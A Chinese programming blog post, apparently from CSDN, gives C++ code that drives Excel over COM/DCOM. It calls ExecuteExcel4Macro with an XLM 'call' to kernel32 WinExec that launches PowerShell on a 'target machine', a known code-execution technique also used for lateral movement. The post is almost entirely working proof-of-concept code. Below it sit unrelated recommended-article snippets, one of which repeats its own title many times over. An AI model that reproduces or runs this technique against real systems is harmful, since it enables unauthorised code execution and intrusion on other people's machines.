C++通过DCOM调用Excel.ExecuteExcel4Macro执行宏代码

VC/MFC中实现Excel数据直接读写操作指南 Office自动化是指通过编程接口控制Office应用程序,例如Word、Excel、Outlook等。自动化接口是一种允许开发者编写脚本或应用程序来操作Office软件的机制。通过自动化,开发者可以自动化日常任务,比如生成报告、发送电子邮件等。Office自动化接口通常采用基于COM(Component Object Model)的接口,允许不同语言编写的程序通过接口交换信息和命令。自动化技术让办公软件不仅仅是手动工具,还能够与企业内部其他系统集成,实现数据处理的自动化和流程化。 阅读详情

通过cpp调用excel.application对象的ExecuteExcel4Macro方法来执行任意宏代码,
宏代码直接调用NativeAPI执行WinExec创建powershell进程

要求:目标机器必须安装了Excel,

#include "stdafx.h"
#include <windows.h>
#include <iostream>
#include <oaidl.h>
using namespace std;

int _tmain(int argc, _TCHAR* argv[])
{
	HRESULT hRet = E_FAIL;
	CLSID CLSID_excel;
	IDispatch *pXlApp;
	DISPID dispidNamed = DISPID_PROPERTYPUT;
	DISPID dispID;
	DISPPARAMS dispParams = { NULL, NULL, 0, 0 }; // 
	do 
	{
		CoInitialize(NULL);

		hRet = CLSIDFromProgID(L"Excel.Application", &CLSID_excel);
		if (FAILED(hRet))
		{
			break;
		}

		hRet = CoCreateInstance(CLSID_excel, NULL, CLSCTX_LOCAL_SERVER, IID_IDispatch, (void **)&pXlApp);
		if (FAILED(hRet))
		{
			break;
		}

		// 根据名字获取方法ID
		OLECHAR* szFuncName = L"ExecuteExcel4Macro";
		hRet = pXlApp->GetIDsOfNames(IID_NULL, &szFuncName, 1, LOCALE_SYSTEM_DEFAULT, &dispID);
		if (FAILED(hRet))
		{
			break;
		}

		dispParams.cArgs = 1;
		dispParams.cNamedArgs = 0;
		dispParams.rgdispidNamedArgs = NULL;
		dispParams.rgvarg = new VARIANTARG;
		dispParams.rgvarg->vt = VT_BSTR;
		dispParams.rgvarg->bstrVal = SysAllocString(L"call(\"kernel32\", \"WinExec\", \"JFJ\", \"powershell\", 5)");



		hRet = pXlApp->Invoke(dispID, IID_NULL, LOCALE_SYSTEM_DEFAULT, DISPATCH_METHOD, &dispParams, NULL, NULL, NULL);
		if (FAILED(hRet))
		{
			break;
		}

		SysFreeString(dispParams.rgvarg->bstrVal);
		delete dispParams.rgvarg;
		CoUninitialize();


	} while (false);
	

	return 0;
}


VC++中实现数据保存到Excel的详细教程 htmltable {th, td {th {pre {简介:在VC++开发环境中,通过使用Microsoft Office的自动化接口和COM技术,可以实现将数据保存到Excel文件中。这包括创建Excel实例、操作工作簿和工作表、写入数据、保存和关闭操作以及异常处理等步骤。此外,为了性能优化,还可以考虑使用Open XML SDK或第三方库如libxl、Apache POI等技术。 阅读详情

相关推荐

Visual C++源代码 192 如何使用自动化运行Excel宏

Visual C++源代码 192 如何使用自动化运行Excel宏Visual C++源代码 192 如何使用自动化运行Excel宏Visual C++源代码 192 如何使用自动化运行Excel宏Visual C++源代码 192 如何使用自动化运行Excel宏Visual C++源代码 192 如何使用自动化运行Excel宏Visual C++源代码 192 如何使用自动化运行Excel宏Visual C++源代码 192 如何使用自动化运行Excel宏Visual C++源代码 192 如何使用自动化运行Excel宏Visual C++源代码 192 如何使用自动化运行Excel宏Visual C++源代码 192 如何使用自动化运行Excel宏Visual C++源代码 192 如何使用自动化运行Excel宏Visual C++源代码 192 如何使用自动化运行Excel宏Visual C++源代码 192 如何使用自动化运行Excel宏Visual C++源代码 192 如何使用自动化运行Excel宏Visual C++源代码 192 如何使用自动化运行Excel宏Visua

ExecuteExcel4Macro (宏函数)使用说明

用ExecuteExcel4Macro从未打开的Excel工作簿中读取数据(转载) 从另外一个未打开的Excel文件中读取数据的函数 下面这个函数调用XLM宏从未打开的工作簿中读取数据. *注意:该函数不能用于公式. GetValue函数,需要以下四个变量 path:未打开的Excel文件的路径 (e.g., "d:\test") file:文件名(e.g.,...

weixin_30618985的博客 1285

cuda2 but found one of them on device cuda 0

cuda2 but found one of them on device cuda 0 上面问题的重点是,不是cpu和gpu之间的常规问题,而是出现在不同gpu之间的数据。 出问题地方: model = nn.DataParallel(model, device_ids=[2,4]) 先说解决方法: 方案一: model = nn.DataParallel(model, device_ids=[0,2,4]) 前面一定要给一个0的序号,如果0被别人占了呢? 方案二: os.environ["CUDA_

binqiang2wang 665

VBA陈旧的代码:在VBA中操作Excel内容二

代码有的是来自网络,包括csdn。有的是自己的。呵呵。Dim xlApp As Excel.ApplicationDim xlBook As Excel.WorkbookDim xlSheet As Excel.Worksheetdim XXXSet xlApp = CreateObject("Excel.Application")Set xlBook = NothingSet xlSheet

VB.Net+Android.java 1415

TP4054芯片实战:手把手教你设计USB锂电充电电路(附PCB散热优化技巧)

本文以TP4054芯片为核心,手把手教你设计稳定可靠的USB锂电池充电电路。文章详细解析了芯片的恒流恒压工作模式、关键外围元件选型计算,并重点分享了PCB布局与散热优化的实战技巧,帮助工程师从“能工作”提升到“工作得好”,确保充电效率与系统稳定性。

1a2s3d4f5g的博客 468

2024最新超详细无痛安装PyTorch,包括下载地址、环境配置与各种避坑指南

PyTorch更新很快,2024最新下载安装经验贴,包括anaconda+CUDA+cuDNN+PyTorch四部分的下载和安装。文章详细介绍了下载地址、环境配置、虚拟环境建立的问题,还温馨提示了各种闭坑指南。有需要的友友快过来康康!

qq_43596278的博客 11万+

Excel如何实现表单编号自动递增?

Excel经常被用作业务单据的制作,例如出库单,一个很现实的需求是表单自动编号,希望每次打印时编号会自动递增。很幸运Excel能够支持自动编号的实现,网上的方法很多,但自己找了半天也没能成功实现。不过网上还是找到了些许灵感。首先,要知道Excel提供了一个Workbook_Bef

.NET开源应用程序框架 HYAppFrame 7205

【CVPR 2025】清华:注意力状态空间模块,Mamba与注意力的超强组合,即插即用!

MambaIRv2提出了一种创新的图像恢复模型,通过引入注意力状态空间模块(ASSM)解决了Mamba模型因果建模限制问题。该模型结合语义引导邻域机制和注意力状态空间方程,实现了非因果建模,有效缓解了长距离衰减问题。实验表明,MambaIRv2在图像超分辨率、JPEG压缩伪影减少和图像去噪等任务中表现优异,参数更少但性能超越现有方法。

qq_43303160的博客 3040

Excel VBA 学习总结 - 实战之惑

   VBA中很多的功能可以用内置的函数完成,其它的可以自己写函数完成。下面几点就是我在实战中遇到比较多的,而且带有一定困惑性的典型问题。 一、返回列的名字   这是个最简单的问题,但是有时候还是很需要的,方法比较简单,就是通过Address获取列的名字,比如“A”,“AB”等。 Private Function columnHeader(Target As Range) As Stri...

weixin_34355881的博客 514

Python实战:3步搞定DICOM转JPG/PNG(附批量处理脚本)

本文详细介绍了如何使用Python在3步内将DICOM医学影像转换为JPG/PNG格式,并提供了批量处理脚本。通过Pydicom、Pillow和NumPy库的组合,解决了像素值处理、批量转换效率和医学图像特性保留等关键问题,适合医疗AI开发者和放射科医生快速集成到工作流中。

numpy6sculptor的博客 592

DeepSeek + 番茄小说:AI辅助小说开发最全指南

DeepSeek与番茄小说合作推出AI辅助小说创作系统,通过DeepSeek的文本生成能力(包括情节构建、角色塑造等)结合番茄小说的市场数据,为作者提供从创意到发布的全流程支持。系统包含智能创意生成器、角色设计、章节自动生成等核心模块,采用数据驱动优化策略,支持128K长文本处理和多风格模仿。开发架构采用Python+FastAPI技术栈,提供分层审核机制确保质量。该系统可帮助作者突破创作瓶颈,提升效率,同时提供订阅制、内容分成等多元变现模式。需注意版权问题和原创性保证。

weixin_41445009的博客 1678

c语言运行excel中vba程序,Excel 中如何运行 VBA 代码?

编写 VBA 的最终目的是在 Excel 中运行它,得到特定的结果。所以,写完一段 VBA 代码后,下一步骤就是运行它。需要指出的是,本篇所指的「运行」指的是,在 Excel 界面中运行,而非在 VBA 编辑器中运行。今天这篇文章就介绍如何在 Excel 里运行 VBA 的多种方法。不同的方法适用的情形不一样,可以根据特定需求,选择其中一种使用。一般来说,运行 VBA 有以下 3 种方法:从「开发...

weixin_39673704的博客 2730

v86.01 鸿蒙内核源码分析 (静态分配篇) | 很简单的一位小朋友 | 百篇博客分析 OpenHarmony 源码

相比动态分配,静态内存池的分配就是个小弟弟,非常的简单,两个结构体 + 一张图 就能说明白。

日拱一卒,力出一孔 775

不打开工作簿提取数据的几种方法

不打开工作簿取得其他工作簿数据的几种方法 在Excel的使用过程中,经常需要引用其他工作簿的数据,而用户往往希望能在不打开工作簿或看似不打开工作簿的情况下取得其他工作簿中的数据,有以下几种方法可以实现。 1 数据不多时使用公式 如果需要引用的数据不是太多,可以使用公式取得引用工作簿中的工作表数据,如下面的代码所示。 Sub CopyData_1() Dim Temp...

weixin_30333885的博客 1万+

基于simulink的智能驾驶领域--智能车道保持辅助系统仿真

LKAS通过摄像头等传感器检测车辆相对于车道线的位置,并自动调整转向,以帮助驾驶员保持在车道内行驶。将摄像头传感器模块的输出连接到车道线检测模块的输入端口,再将车道线检测模块的输出连接到转向控制器模块的输入端口,最后将转向控制器模块的输出连接到车辆动力学模型的转向输入端口,形成闭环控制系统。上升时间是指系统从初始转向角上升到目标转向角所需的时间,调节时间是指系统进入并保持在目标转向角一定范围内的所需时间。该控制器将根据摄像头传感器的数据调整车辆的转向角,以保持车辆在车道内行驶。

xiaoheshang_123的博客 163

Statistics and Machine Learning Toolbox

Statistics and Machine Learning Toolbox(带书签),MATLAB统计学习工具

python打开excel执行vba代码_在Python中运行Excel的VBA宏

在EXCEL的VBA中提供了一个ExecuteExcel4Macro函数,可以用于运行Excel工作表中的指定宏。关于ExecuteExcel4Macro函数的用法具体详见MSDN上的描述。在Python中,对Excel表格的操作需要借助于win32com.client模块(位于额外安装的PyWin32——Python在Windows平台下的扩展包——中);win32com.client模块使得在...

weixin_39664774的博客 856

锂电池充电器电路设计 里面有电路

锂电池充电器电路设计 里面有电路 3.7V升压到5V电路设计。

Excel表格选定区域快速批量打印,VBA有办法

Excel表格选定区域快速批量打印,VBA有办法。

BeijixingVBA的博客 3097

TMS_WebGMaps_1.9.8.0_Full_Source

TMS_WebGMaps_1.9.8.0_Full_Source 全源码 delphi cbuilder

SIMATIC S7-1200, S7-1500 PID 控制[手册]

SIMATIC S7-1200, S7-1500 PID 控制[手册]

EXCEL--2010单元格里下拉菜单的制作

单选下拉菜单的设置   1、选定需要设置下拉菜单的区域   2、单击菜单栏“数据 | 数据有效性”         点击向下箭头,然后选择“序列”    3、在来源处输入自己想要设置的数据,每个数据用英文逗号隔开 4、查看一开始所选区域的任意单元格里的向下箭头都会弹出自己设置的数据,选择“图图”        温馨提示:在第三步设置数据的来源时也可以将想

世上无难事只要肯放弃 4682

C/C++ 中的宏使用笔记(MARCO)

C/C++ 中的宏使用笔记(MARCO) 宏指令 宏指令 宏解释 #include 引用头文件 #define 定义宏 #undef 取消宏定义 #ifndef 假如没有定义 等价于 #if !defined(<MARCO>) #ifdef 假如定义 等价于 #if defined(<MARCO>) #else 否则 #endif if或else的结束 #pragma 编译指示 预定义宏 预定义宏 解释 __LINE__

yjkhtddx的专栏 1606

c++代码操作excel

如果使用qt或vs打开excel 默认打开的是wps ,可以使用wps配置工具设置与office兼容性,来设置默认打开mircsoft的excel。取消勾选-兼容第三方系统和软件。

weixin_52355496的博客 586

VC中程序调用Js自定义函数的注意事项

 关于如何在程序中调用js函数, 网络上已经泛滥多时了.下面这个链接是这方面的鼻祖了,大家可以看看.http://www.codeproject.com/KB/COM/jscalls.aspx?msg=1162277 一般说来,调用js函数多数是为了让程序内核和程序界面(ie界面)交互.所以我让程序内核发送自定义消息 WM_CALLDISP 到界面窗口.界面窗口调用invo

norsd的专栏 4451

l操作excel

Range.EntireColumn  和Range.EntireRow  获取Excel一列或者一行操作

a5537489的博客 316

excel创建服务失败处理办法

CLSID clsid; HRESULT hr = CLSIDFromProgID(L"Excel.Application", &clsid); if(FAILED(hr)) {   ::MessageBox(NULL, "CLSIDFromProgID() 函数调用失败!", "错误", 0x10010);   return -1; } // 创建实例 IDispatch *p

jison924的专栏 8206

C++ 操作EXCEL

要在应用程序中控制Excel的运行,首先必须在编制自动化客户程序时包含Comobj.hpp #include "Comobj.hpp" C++ Builder把Excel自动化对象的功能包装在下面的四个Ole Object Class函数中,应用人员可以很方便地进行调用。

lzwxyz的专栏 2万+

Excel GET.CELL说明

GET是得到的意思CELL是单元格的意思 --->那么它的意思就是你想得到单元格的什么东西(信息) 函数定义: GET.CELL(类型号,单元格(或范围)) 其中类型号,即你想要得到的信息的类型号,可以在1-66(表示可以返回一个单元格里66种你要的信息) -----------------------------------------------------...

weixin_30852451的博客 516
上一篇: MMC20.Application远程创建DCOM对象,拒绝访问0x80070005
下一篇: vs2019编译错误:LINK : fatal error LNK1104: 无法打开文件“atls.lib”
FFE4
博客等级 码龄9年 234粉丝 166原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值